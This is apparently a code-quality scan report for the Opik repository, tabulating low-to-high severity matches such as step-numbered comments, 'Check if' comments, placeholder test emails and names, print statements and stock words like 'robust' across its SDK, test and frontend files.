| LOW | sdks/python/src/opik/jsonable_encoder.py | 120 | CODE | |
| LOW | sdks/python/src/opik/httpx_client.py | 216 | CODE | |
| LOW | …hon/src/opik/llm_usage/base_original_provider_usage.py | 45 | CODE | |
| LOW | sdks/python/src/opik/guardrails/tracing.py | 41 | CODE | |
| LOW | sdks/python/src/opik/guardrails/tracing.py | 53 | CODE | |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 60 | CODE | |
| LOW | sdks/python/src/opik/decorator/tracker.py | 62 | CODE | |
| LOW | sdks/python/src/opik/decorator/tracker.py | 78 | CODE | |
| LOW | …opik/decorator/context_manager/span_context_manager.py | 14 | CODE | |
| LOW | …pik/decorator/context_manager/trace_context_manager.py | 15 | CODE | |
| LOW | sdks/python/src/opik/plugins/pytest/decorator.py | 129 | CODE | |
| LOW | sdks/python/src/opik/plugins/pytest/decorator.py | 84 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 62 | CODE | |
| LOW | sdks/python/src/opik/cli/exports/project.py | 427 | CODE | |
| LOW | …hon/src/opik/integrations/aisuite/aisuite_decorator.py | 76 | CODE | |
| LOW | …hon/src/opik/integrations/aisuite/aisuite_decorator.py | 155 | CODE | |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 107 | CODE | |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 178 | CODE | |
| LOW | …c/opik/integrations/guardrails/guardrails_decorator.py | 62 | CODE | |
| LOW | …c/opik/integrations/guardrails/guardrails_decorator.py | 83 | CODE | |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 123 | CODE | |
| LOW | …k/integrations/groq/groq_chat_completions_decorator.py | 75 | CODE | |
| LOW | …k/integrations/groq/groq_chat_completions_decorator.py | 117 | CODE | |
| LOW | …rc/opik/integrations/bedrock/invoke_agent_decorator.py | 55 | CODE | |
| LOW | …rc/opik/integrations/bedrock/invoke_agent_decorator.py | 72 | CODE | |
| LOW | …rations/bedrock/invoke_model/invoke_model_decorator.py | 71 | CODE | |
| LOW | …ik/integrations/bedrock/converse/converse_decorator.py | 59 | CODE | |
| LOW | …ik/integrations/bedrock/converse/converse_decorator.py | 86 | CODE | |
| LOW | …s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py | 106 | CODE | |
| LOW | …ks/python/src/opik/integrations/haystack/converters.py | 30 | CODE | |
| LOW | …ik/integrations/anthropic/messages_create_decorator.py | 62 | CODE | |
| LOW | …ik/integrations/anthropic/messages_create_decorator.py | 106 | CODE | |
| LOW | …ations/cerebras/cerebras_chat_completions_decorator.py | 76 | CODE | |
| LOW | …ations/cerebras/cerebras_chat_completions_decorator.py | 118 | CODE | |
| LOW | …/opik/integrations/genai/generate_content_decorator.py | 91 | CODE | |
| LOW | …/opik/integrations/genai/generate_content_decorator.py | 138 | CODE | |
| LOW | …opik/integrations/openai/openai_responses_decorator.py | 88 | CODE | |
| LOW | …opik/integrations/openai/openai_responses_decorator.py | 127 | CODE | |
| LOW | …tegrations/openai/openai_chat_completions_decorator.py | 89 | CODE | |
| 270 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | sdks/python/tests/e2e/test_prompt.py | 1559 | # Step 4: clear all environments. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1506 | # Step 1: create v1 and pin it to environment_name; a newer v2 exists | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1526 | # Step 2: add second_environment_name; both envs must be visible on the same version. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1545 | # Step 3: move ownership exclusively to second_environment_name. | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 296 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 306 | # Step 2: Export traces using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 365 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 374 | # Step 2: Export datasets using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 442 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 452 | # Step 2: Export prompts using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 528 | # Step 1: Prepare test data (minimal) | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 533 | # Step 2: Export all data types with limited results using direct function calls | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 808 | # Step 1: Create two datasets | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 955 | # Step 1: Create a test chat prompt | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 965 | # Step 2: Export chat prompt using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1053 | # Step 1: Prepare test data with experiments | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1060 | # Step 2: Export the project data (traces) using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 341 | # Step 3: Import traces using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 411 | # Step 3: Import datasets using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 490 | # Step 3: Import prompts using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 593 | # Step 3: Import all data types using direct function calls | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 842 | # Step 2: Create two experiments with different datasets | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 895 | # Step 3: Export experiments filtered by dataset1 | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 909 | # Step 4: Verify only experiment1 was exported. Files are named by | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 936 | # Step 5: Verify the exported experiment has the correct dataset | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1006 | # Step 3: Import chat prompt using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1106 | # Step 3: Test import (experiments are automatically recreated) using direct function call | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 129 | # Step 1: Collect all dataset_item_id and dataset_item_data from experiment files | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 189 | # Step 2: Import datasets | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 241 | # Step 3: Get all imported dataset items and match by content | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 225 | # Step 1: If the URL is provided and active, update the configuration | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 234 | # Step 2: Check if the default local instance is active | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 266 | # Step 4: Ask user for URL if no valid local instance is found or approved | COMMENT |
| LOW | sdks/python/src/opik/configurator/configure.py | 247 | # Step 3: Ask user if they want to use the found local instance | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 44 | // Step 1: Get the resolved config through the public API | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 47 | // Step 2: Clear ALL env vars so only explicit config can provide values | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 58 | // Step 3: Pass resolved values as explicit config | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 68 | // Step 4: Verify explicit values are used (not defaults, not env) | COMMENT |
| LOW | sdks/typescript/tests/integration/connection.test.ts | 79 | // Step 5: Restore env vars | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 74 | // Step 1: create v1, pin it to envA via setPromptEnvironments, then push | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 101 | // Step 2: expand to both envs on v1's version. | COMMENT |
| LOW⚡ | …ript/tests/integration/api/prompt-environments.test.ts | 118 | // Step 3: move ownership exclusively to envB. | COMMENT |
| LOW⚡ | …ript/tests/integration/api/prompt-environments.test.ts | 127 | // Step 4: clear all environments. | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 40 | // Step 1: Create or get a dataset for customer support evaluations | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 72 | // Step 2: Create a prompt using the Prompt management system | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 95 | // Step 3: Set up evaluation metrics | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 110 | // Step 4: Evaluate the prompt against the dataset | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 133 | // Step 5: Display evaluation results | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 153 | // Step 6: Advanced usage - Create a new version of the prompt | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 180 | // Step 7: Re-evaluate with the improved prompt | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 215 | // Step 8: Retrieve prompt by name and version | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 233 | // Step 9: Format a prompt manually (without evaluation) | COMMENT |
| LOW | sdks/typescript/examples/evaluate-prompt-basic.ts | 12 | // Step 1: Get or create a dataset | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 28 | // Step 2: Create a prompt | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 36 | // Step 3: Create metrics | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 40 | // Step 4: Run evaluation | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 50 | // Step 5: View results | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 216 | // Step 1: Context retrieval span | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 232 | // Step 2: LLM generation span | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 257 | // Step 3: Post-processing span | COMMENT |
| 39 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | opik.sh | 635 | # Check if either curl or wget is available | COMMENT |
| LOW | …ests/unit/evaluation/metrics/test_arguments_helpers.py | 66 | # Check if the `unused_kwarg` is present in the exception message | COMMENT |
| LOW | …/tests/library_integration/langchain/test_langgraph.py | 535 | # Check if the output contains either direct messages or wrapped in Command structure | COMMENT |
| LOW | …/tests/library_integration/langchain/test_langgraph.py | 1831 | # Check if question is ambiguous | COMMENT |
| LOW | sdks/python/tests/e2e_smoke/smoke_tests_runner.sh | 13 | # Check if any Python files were found | COMMENT |
| LOW | …ests/e2e_library_integration/harbor/test_harbor_e2e.py | 251 | # Print output for debugging visibility | COMMENT |
| LOW | sdks/python/tests/e2e/test_annotation_queue.py | 176 | # Add threads to queue | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 268 | # Set environment to disable rich output for better subprocess capture | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 319 | # Check if the directory was created | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 773 | # Check if it at least didn't create any files | COMMENT |
| LOW | sdks/python/src/opik/decorator/opik_args/helpers.py | 31 | # Check if a function has opik_args in its signature | COMMENT |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 45 | # Check if it's an Update message - always process these | COMMENT |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 49 | # Check if it's a Create message with end_time set - only process these | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/dataset.py | 79 | # Check if name is missing or empty | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/prompt.py | 64 | # Check if name is missing or empty | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/dataset.py | 208 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/experiment.py | 118 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/experiment.py | 338 | # Write files in parallel | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 392 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 503 | # Check if metadata is a dict and has "prompts" key | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 590 | # Check if file should be skipped using the standard utility | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 171 | # Check if within date range | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 194 | # Check if there are more pages | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 499 | # Check if there are more pages | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 662 | # Check if within date range | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/utils.py | 219 | # Check if within date range | COMMENT |
| LOW | …ks/python/src/opik/integrations/harbor/opik_tracker.py | 180 | # Check if already patched | COMMENT |
| LOW | …n/src/opik/integrations/langchain/run_parse_helpers.py | 207 | # Check if the value was originally a quoted string | COMMENT |
| LOW⚡ | …n/src/opik/integrations/langchain/run_parse_helpers.py | 254 | # Check if it's a Command object (has a resume attribute) | COMMENT |
| LOW⚡ | …n/src/opik/integrations/langchain/run_parse_helpers.py | 257 | # Check if it's a serialized Command dict | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 311 | # Check if any child span has a GraphInterrupt output and use it for trace output | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 420 | # Check if the parent is a skipped LangGraph/LangChain root run. | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 539 | # Check if we have trace data (new trace) or distributed headers | COMMENT |
| LOW | …ider_usage_extractors/langchain_run_helpers/helpers.py | 132 | # Check if the current dictionary contains any or all of the candidate keys | COMMENT |
| LOW | …s/python/src/opik/integrations/llama_index/callback.py | 140 | # Check if the output for the last event is already available. | COMMENT |
| LOW | …s/python/src/opik/integrations/llama_index/callback.py | 255 | # Check if there's a pending root trace/span output update for this event. | COMMENT |
| LOW | …rations/bedrock/invoke_model/invoke_model_decorator.py | 80 | # Check if this is a structured aggregated response dataclass | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/opik_tracer.py | 430 | # Check if this response contains actual content (first token) | COMMENT |
| LOW | sdks/python/src/opik/evaluation/report.py | 113 | # Display results | COMMENT |
| LOW | sdks/python/src/opik/evaluation/report.py | 184 | # Display results | COMMENT |
| LOW⚡ | …/python/src/opik/evaluation/scorers/scorer_function.py | 39 | # Check if it has both dataset_item and task_outputs | COMMENT |
| LOW⚡ | …/python/src/opik/evaluation/scorers/scorer_function.py | 44 | # Check if it has at least one task_span parameter | COMMENT |
| LOW | sdks/python/src/opik/api_objects/validation_helpers.py | 31 | # Check if usage is already in backend format (from export/import) | COMMENT |
| LOW | sdks/python/src/opik/api_objects/opik_query_language.py | 499 | # Check if it's an escaped quote (doubled quote) | COMMENT |
| LOW | sdks/python/src/opik/api_objects/opik_query_language.py | 581 | # Check if the key is quoted | COMMENT |
| LOW | sdks/opik_optimizer/benchmarks/utils/task_runner.py | 710 | # Check if this dataset is handled by a package-specific agent/prompt wiring. | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_changelog.py | 122 | # Check if version actually changed from previous | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 60 | # Check if we're entering the Args section | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 66 | # Check if this is a new parameter (starts with word followed by colon) | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 232 | # Check if docstring ends on same line | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 255 | # Check if first line is raise NotImplementedError | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 505 | # Write the file | STRING |
| LOW | …ks/opik_optimizer/src/opik_optimizer/base_optimizer.py | 1518 | # Check if optimization failed (finish_reason = "error") | COMMENT |
| LOW | …izer/src/opik_optimizer/metrics/task_span/span_cost.py | 66 | # Check if span already has a cost calculated (e.g., from integration tracking) | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 246 | # Check if it's a dict of ChatPrompts | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 733 | # Check if it's a dict of ChatPrompts | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 852 | # Check if initial score exists and is a number | COMMENT |
| LOW | …ptimizer/src/opik_optimizer/datasets/driving_hazard.py | 125 | # Check if dataset already has the correct number of items | COMMENT |
| LOW | …orithms/meta_prompt_optimizer/meta_prompt_optimizer.py | 283 | # Check if we should extract patterns from hall of fame | COMMENT |
| LOW | …algorithms/meta_prompt_optimizer/ops/halloffame_ops.py | 70 | # Check if score is high enough | COMMENT |
| 35 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …tests/unit/runner/bridge_handlers/test_search_files.py | 16 | ["git", "config", "user.email", "test@test.com"], | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 23 | obj = {"name": "John Doe", "email": "john@example.com"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 29 | expected = {"name": "John Doe", "email": "john@example.com"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 34 | obj = {"name": "John Doe"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 44 | expected = {"name": "John Doe"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 50 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 66 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 75 | obj = {"name": "John Doe", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 86 | expected = {"name": "John Doe", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 91 | obj = {"name": "John Doe", "email": "john@example.com", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 165 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 170 | "street": "123 Main Street", | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 102 | expected = {"name": "John Doe", "email": "[ANONYMIZED]", "age": 30} | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 148 | person = Person(name="John Doe", email="john@example.com", age=30) | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 149 | person.address["street"] = "123 Main Street" | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 397 | obj = {"email": "test@example.com", "name": "John Doe"} | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 409 | expected = {"email": "PREFIX_test@example.com_SUFFIX", "name": "John Doe"} | CODE |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1245 | broken = _Experiment(id="placeholder") | CODE |
| LOW⚡ | sdks/python/tests/unit/cli/test_account_identity.py | 284 | assert properties["workspace_kind"] == "placeholder" | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 59 | "email": "user@example.com", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 60 | "profile": {"name": "John Doe", "phone": "555-1234"}, | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 60 | "profile": {"name": "John Doe", "phone": "555-1234"}, | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 72 | "data": "user@example.com", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 77 | "data": "John Doe", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 82 | "data": "555-1234", | CODE |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 422 | "name": "John Doe", | CODE |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 423 | "phone": "555-1234", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 88 | data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"} | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 88 | data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"} | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 93 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 118 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 128 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 166 | {"name": "John Doe", "contacts": ["john@example.com", "123-456-7890"]}, | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 176 | {"name": "John Doe", "contacts": ["[EMAIL]", "[PHONE]"]}, | CODE |
| LOW⚡ | …tests/unit/evaluation/metrics/test_prompt_injection.py | 564 | padding_before = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. " * 50 | CODE |
| LOW⚡ | …tests/unit/evaluation/metrics/test_prompt_injection.py | 564 | padding_before = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. " * 50 | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 866 | 'created_by = "user@example.com"', | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 867 | [{"field": "created_by", "operator": "=", "value": "user@example.com"}], | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 870 | 'last_updated_by != "admin@example.com"', | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 875 | "value": "admin@example.com", | CODE |
| LOW | …hon/tests/unit/api_objects/test_opik_query_language.py | 1106 | 'created_by ends_with "user@example.com"', | CODE |
| LOW | …hon/tests/unit/api_objects/test_opik_query_language.py | 1111 | "value": "user@example.com", | CODE |
| LOW | …thon/tests/library_integration/mistral/test_mistral.py | 673 | track_mistral(mistralai.Mistral(api_key="dummy-key")) | CODE |
| LOW | sdks/python/src/opik/cli/account_identity.py | 208 | return configured, "placeholder" | CODE |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 2894 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 2996 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 3124 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/prompt/client.py | 376 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 272 | createdBy: "user@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 370 | createdBy: "admin@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 920 | createdBy: "user@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 937 | expect(version.createdBy).toBe("user@example.com"); | CODE |
| LOW | …/typescript/tests/unit/query/OpikQueryLanguage.test.ts | 538 | 'tags contains "production" and version_count > 1 and created_by = "user@example.com"' | CODE |
| LOW | …/typescript/tests/unit/query/OpikQueryLanguage.test.ts | 556 | value: "user@example.com", | CODE |
| LOW | …ypescript/tests/unit/client/client-agentConfig.test.ts | 22 | createdBy: "user@example.com", | CODE |
| LOW | …ypescript/tests/unit/client/client-agentConfig.test.ts | 329 | expect(blueprint.createdBy).toBe("user@example.com"); | CODE |
| LOW | …ks/typescript/tests/unit/client/client-prompts.test.ts | 858 | await client.searchPrompts('created_by = "user@example.com"'); | CODE |
| LOW | sdks/typescript/src/opik/client/Client.ts | 1728 | * const prompts = await client.searchPrompts('created_by = "user@example.com"'); | COMMENT |
| LOW | .agents/commands/comet/create-and-run-tests.md | 127 | .name("John Doe") | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 153 | const mockUser = { id: '1', name: 'John Doe', email: 'john@example.com' }; | CODE |
| 34 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ts_end_to_end/e2e/core/metrics/python-metric-source.ts | 239 | print("this line is not a score result", flush=True) | CODE |
| HIGH | tests_end_to_end/e2e/agents/known-failing/harness.ts | 39 | print(json.dumps({"passed": passed, "total": len(suite["items"])}))`; | CODE |
| HIGH | …-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx | 51 | print("Guardrail failed:", e) | CODE |
| HIGH | …-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx | 56 | print("Guardrail failed:", e)`} | CODE |
| HIGH | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 37 | print(formatted_prompt) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 50 | print(prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 54 | print(formatted_prompt) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 64 | print(prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 68 | print(formatted_prompt) | CODE |
| HIGH | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 87 | print(formatted_messages) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 100 | print(chat_prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 104 | print(formatted_messages) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 114 | print(chat_prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 118 | print(formatted_messages) | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | sdks/python/tests/unit/plugins/pytest/test_hooks.py | 4 | # TODO(#5219): move these tests to a public pytest plugin test harness/API. | COMMENT |
| MEDIUM | …on/tests/unit/cli/test_export_project_rate_limiting.py | 454 | # Bounded-chunk invariants (robust to the exact chunk boundary): | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 346 | # below so the test stays robust against that model-side variability. | STRING |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 557 | # just use output as end arguments | COMMENT |
| LOW | sdks/python/src/opik/decorator/span_creation_handler.py | 131 | # In that case the decorator should just create a span for the existing trace. | COMMENT |
| MEDIUM | …ocessing/emulation/local_emulator_message_processor.py | 17 | """This class serves as a replacement for the real backend and collects all logged messages | STRING |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 35 | # already pre-processed - just return the original message to avoid infinite recursion | COMMENT |
| MEDIUM | sdks/python/src/opik/cli/exports/utils.py | 138 | """Create a comprehensive experiment data structure for export.""" | STRING |
| LOW | …/src/opik/integrations/agentspec/opik_spanprocessor.py | 427 | # Async methods just call the sync versions | COMMENT |
| LOW | sdks/python/src/opik/rest_api/core/serialization.py | 180 | # then we can just pass the value through as is | COMMENT |
| MEDIUM | sdks/typescript/src/opik/prompt/versionHelpers.ts | 83 | // Use fast-deep-equal for robust structural comparison | COMMENT |
| LOW | …ithms/parameter_optimizer/test_sensitivity_analysis.py | 209 | # Should not crash, just use available data | COMMENT |
| MEDIUM | …pik_optimizer/scripts/datasets/build_bm25_wikipedia.py | 502 | # Generate comprehensive README | COMMENT |
| LOW | …k_optimizer/src/opik_optimizer/agents/litellm_agent.py | 86 | # If trying to delete logprobs and it doesn't exist, just return | COMMENT |
| LOW | …k_optimizer/src/opik_optimizer/agents/litellm_agent.py | 140 | # If trying to delete server_tool_use and it doesn't exist, just return | COMMENT |
| MEDIUM | tests_load/tests/test_image_inference.py | 920 | # Show comprehensive results | COMMENT |
| MEDIUM | tests_load/tests/test_image_inference.py | 829 | """Run comprehensive image generation tests across all available providers""" | STRING |
| MEDIUM | …to_end/e2e/tests/test-suites/test-suites-smoke.spec.ts | 66 | // Allow some slack: require at least 2/3 passing so the smoke is robust | COMMENT |
| MEDIUM | deployment/docker-compose/docker-compose.yaml | 96 | # Use Bitnami-compatible data directory for seamless migration from Bitnami images | COMMENT |
| MEDIUM | …et/opik/infrastructure/TracesLocalV2BenchmarkTest.java | 814 | // Delta here; hence only the robust facts are asserted (both ZSTD variants beat LZ4). The shipped codec is | STRING |
| MEDIUM | …et/opik/infrastructure/TracesLocalV2BenchmarkTest.java | 831 | // robust facts are asserted (both ZSTD variants beat LZ4). The shipped codec is pinned by | STRING |
